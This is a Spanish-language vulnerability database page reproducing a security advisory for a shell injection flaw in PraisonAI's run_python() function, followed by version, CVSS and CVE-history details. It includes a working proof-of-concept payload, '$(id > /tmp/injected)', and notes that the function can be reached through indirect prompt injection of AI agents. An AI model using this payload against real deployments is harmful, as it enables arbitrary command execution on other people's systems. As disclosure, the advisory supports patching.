Alta

PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution

  • Publicada: 01.04.2026
  • Actualizado: 11.10.2026 14:18

Summary

run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)

python
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)

PoC

python
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)

# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) praisonaiagents < 1.5.90 1.5.90

Referencias

Puntuación CVSS 7.8/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-78
Plataforma
Python (PyPI)
Paquete
praisonaiagents
Publicada
01.04.2026
Actualizado
11.10.2026 14:18

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-2954 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-w37c-qqfp-c67f - CC BY 4.0

Historial de vulnerabilidades: praisonaiagents

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (50) en el archivo
Entradas en total
50
Primera → última
04.2026 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 10
  • Alta 27
  • Media 13

Divulgaciones por año

  1. 2026: 50
Gravedad:
  1. Alta · 7.5 CVE-2026-55525 < 1.6.58 1.6.58
  2. Alta · 7.5 CVE-2026-57129 < 1.6.59 1.6.59
  3. Crítica · 9.8 CVE-2026-57125 < 1.6.59 1.6.59
  4. Alta · 9.8 CVE-2026-44335 < 1.6.32 1.6.32
  5. Crítica · 9.8 CVE-2026-40288 < 1.5.140 1.5.140
  6. Alta · 8.4 CVE-2026-40287 < 1.5.140 1.5.140
  7. Alta CVE-2026-40160 >= 0.13.23, < 1.5.128 1.5.128
  8. Alta · 8.6 CVE-2026-34954 < 1.5.95 1.5.95
  9. PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution esta entrada
    Alta · 7.8 CVE-2026-34937 < 1.5.90 1.5.90

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.